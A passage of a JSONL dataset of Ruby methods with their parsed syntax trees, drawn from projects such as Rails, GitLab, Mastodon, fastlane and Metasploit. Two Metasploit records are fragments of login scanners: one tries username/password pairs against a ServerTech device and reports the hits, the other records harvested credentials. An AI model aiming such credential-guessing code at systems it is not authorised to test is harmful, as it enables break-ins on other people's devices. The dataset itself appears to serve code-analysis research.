,\"development?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_url\"]},\"include?\",{\"type\":\"str\",\"children\":[\":3000\"]}]},\"!\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_url\"]},\"+\",{\"type\":\"str\",\"children\":[\":3000\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"base_url\"]}]},\"join\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]},\"normalize\"]},\"to_s\"]}]}]}","id":"88824c31-6ac1-440b-92eb-02f405cd19da"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/crypto_asn1/types.rb","start_line":6,"raw_source":"def self.bmp_string(name, options = {})\n      custom_primitive_type_for(name, RASN1::Types::BmpString, options)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"bmp_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"custom_primitive_type_for\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RASN1\"]},\"Types\"]},\"BmpString\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"b5810f6d-d5e9-4188-83a7-bbcdd16d9b84"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/s3_backup_store.rb","start_line":18,"raw_source":"def s3_helper\n      @s3_helper ||= S3Helper.new(s3_bucket_name_with_prefix, \"\", @s3_options.clone)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"s3_helper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@s3_helper\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"S3Helper\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"s3_bucket_name_with_prefix\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s3_options\"]},\"clone\"]}]}]}]}","id":"39848446-8e6b-4d04-96cd-27161bbad136"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/zabbix_login.rb","start_line":103,"raw_source":"def do_report(ip, port, result)\n    service_data = {\n      address: ip,\n      port: port,\n      service_name: 'http',\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      module_fullname: self.fullname,\n      origin_type: :service,\n      private_data: result.credential.private,\n      private_type: :password,\n      username: result.credential.public,\n    }.merge(service_data)\n\n    credential_core = create_credential(credential_data)\n\n    login_data = {\n      core: credential_core,\n      last_attempted_at: DateTime.now,\n      status: result.status\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"do_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"arg\",\"children\":[\"port\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"private\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]},\"public\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"43807ae0-7885-4463-96b3-f93c2af0987a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/work_items/hierarchy_resolver.rb","start_line":18,"raw_source":"def preload_resource_parents(work_items)\n        return unless current_user\n\n        projects = work_items.filter_map(&:project)\n        ::Preloaders::UserMaxAccessLevelInProjectsPreloader.new(projects, current_user).execute if projects.any?\n\n        namespaces = work_items.map(&:namespace)\n        namespaces_from_projects = projects.map(&:namespace)\n        group_namespaces = (namespaces + namespaces_from_projects).select { |n| n.type == ::Group.sti_name }\n\n        ::Preloaders::GroupPolicyPreloader.new(group_namespaces, current_user).execute\n      end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"preload_resource_parents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"projects\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_items\"]},\"filter_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Preloaders\"]},\"UserMaxAccessLevelInProjectsPreloader\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"projects\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"namespaces\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_items\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"namespaces_from_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"group_namespaces\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"namespaces_from_projects\"]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"type\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Group\"]},\"sti_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Preloaders\"]},\"GroupPolicyPreloader\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"group_namespaces\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\"]}]}]}","id":"e97306c9-c2f2-4242-94d3-0c7cbb5a6618"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/issues.rb","start_line":18,"raw_source":"def issue_due_email(recipient_id, issue_id, reason = nil)\n      setup_issue_mail(issue_id, recipient_id)\n\n      mail_answer_thread(@issue, issue_thread_options(@issue.author_id, reason, confidentiality: @issue.confidential?))\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_due_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient_id\"]},{\"type\":\"arg\",\"children\":[\"issue_id\"]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_issue_mail\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]},{\"type\":\"lvar\",\"children\":[\"recipient_id\"]}]},{\"type\":\"send\",\"children\":[null,\"mail_answer_thread\",{\"type\":\"ivar\",\"children\":[\"@issue\"]},{\"type\":\"send\",\"children\":[null,\"issue_thread_options\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"author_id\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidentiality\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"confidential?\"]}]}]}]}]}]}]}","id":"2b183714-e999-4f90-b118-6a942f020ba9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/sentry_cdu_enum.rb","start_line":107,"raw_source":"def do_login(user, pass)\n    vprint_status(\"#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}\")\n    begin\n      res = send_request_cgi(\n        {\n          'uri' => '/index.html',\n          'method' => 'GET',\n          'authorization' => basic_auth(user, pass)\n        }\n      )\n\n      if res and !res.get_cookies.empty?\n        print_good(\"#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}\")\n\n        report_cred(\n          ip: rhost,\n          port: rport,\n          service_name: 'ServerTech Sentry Switched CDU',\n          user: user,\n          password: pass,\n          proof: res.get_cookies.inspect\n        )\n        return :next_user\n\n      else\n        vprint_error(\"#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}\")\n      end\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE\n      print_error(\"#{rhost}:#{rport} - HTTP Connection Failed, Aborting\")\n      return :abort\n    end\n  end","complexity_score":44.3,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Trying username:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" with password:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"inspect\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/index.html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - SUCCESSFUL LOGIN - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"inspect\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"ServerTech Sentry Switched CDU\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"inspect\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"next_user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - FAILED LOGIN - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"inspect\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - HTTP Connection Failed, Aborting\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort\"]}]}]}]},null]}]}]}]}","id":"b75609dd-4dab-4314-89b4-82e26edd4344"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/statuses_helper.rb","start_line":43,"raw_source":"def poll_summary(status)\n    return unless status.preloadable_poll\n\n    status.preloadable_poll.options.map { |o| \"[ ] #{o}\" }.join(\"\\n\")\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"poll_summary\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"preloadable_poll\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"preloadable_poll\"]},\"options\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[ ] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"f9f75461-2220-4d2b-9d39-82d920380f2a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/windows_registry/remote_registry.rb","start_line":62,"raw_source":"def save_to_file(key, security_descriptor, security_information, path = backup_file_path)\n      sd_info = {\n        'key' => key,\n        'security_info' => security_information,\n        'sd' => security_descriptor.b.bytes.map { |c| '%02x' % c.ord }.join\n      }\n      File.open(path, 'w') do |fd|\n        fd.write(sd_info.to_yaml)\n      end\n    end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"save_to_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"security_descriptor\"]},{\"type\":\"arg\",\"children\":[\"security_information\"]},{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"backup_file_path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sd_info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"security_info\"]},{\"type\":\"lvar\",\"children\":[\"security_information\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"security_descriptor\"]},\"b\"]},\"bytes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"ord\"]}]}]},\"join\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"w\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sd_info\"]},\"to_yaml\"]}]}]}]}]}","id":"e0c5a06a-698b-4dc4-8013-16e0ce824920"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/strict_loading_test.rb","start_line":637,"raw_source":"def test_does_not_raise_on_eager_loading_a_strict_loading_habtm_relation\n    Developer.first.projects << Project.first\n    developer = Developer.includes(:strict_loading_projects).first\n\n    assert_nothing_raised { developer.strict_loading_projects.first }\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_does_not_raise_on_eager_loading_a_strict_loading_habtm_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"first\"]},\"projects\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"strict_loading_projects\"]}]},\"first\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"strict_loading_projects\"]},\"first\"]}]}]}]}","id":"96dc6c51-a82d-4e94-bbab-34d956c6bcf0"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/provisioning_profile.rb","start_line":103,"raw_source":"def decode(path, keychain_path = nil)\n        require 'tmpdir'\n        Dir.mktmpdir('fastlane') do |dir|\n          err = \"#{dir}/cms.err\"\n          # we want to prevent the error output to mix up with the standard output because of\n          # /dev/null: https://github.com/fastlane/fastlane/issues/6387\n          if Helper.mac?\n            if keychain_path.nil?\n              decoded = `security cms -D -i \"#{path}\" 2> #{err}`\n            else\n              decoded = `security cms -D -i \"#{path}\" -k \"#{keychain_path.shellescape}\" 2> #{err}`\n            end\n          else\n            # `security` only works on Mac, fallback to `openssl`\n            # via https://stackoverflow.com/a/14379814/252627\n            decoded = `openssl smime -inform der -verify -noverify -in #{path.shellescape} 2> #{err}`\n          end\n          UI.error(\"Failure to decode #{path}. Exit: #{$?.exitstatus}: #{File.read(err)}\") if $?.exitstatus != 0\n          decoded\n        end\n      end","complexity_score":25.1,"ast_json":"{\"type\":\"def\",\"children\":[\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"keychain_path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"tmpdir\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\",{\"type\":\"str\",\"children\":[\"fastlane\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"err\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/cms.err\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"mac?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keychain_path\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"decoded\",{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"security cms -D -i \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\" 2> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"decoded\",{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"security cms -D -i \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -k \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keychain_path\"]},\"shellescape\"]}]},{\"type\":\"str\",\"children\":[\"\\\" 2> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"decoded\",{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"openssl smime -inform der -verify -noverify -in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"shellescape\"]}]},{\"type\":\"str\",\"children\":[\" 2> \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$?\"]},\"exitstatus\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failure to decode \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\". Exit: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$?\"]},\"exitstatus\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"decoded\"]}]}]}]}]}","id":"e231b375-ae6c-4936-b428-d5d192ed7713"}
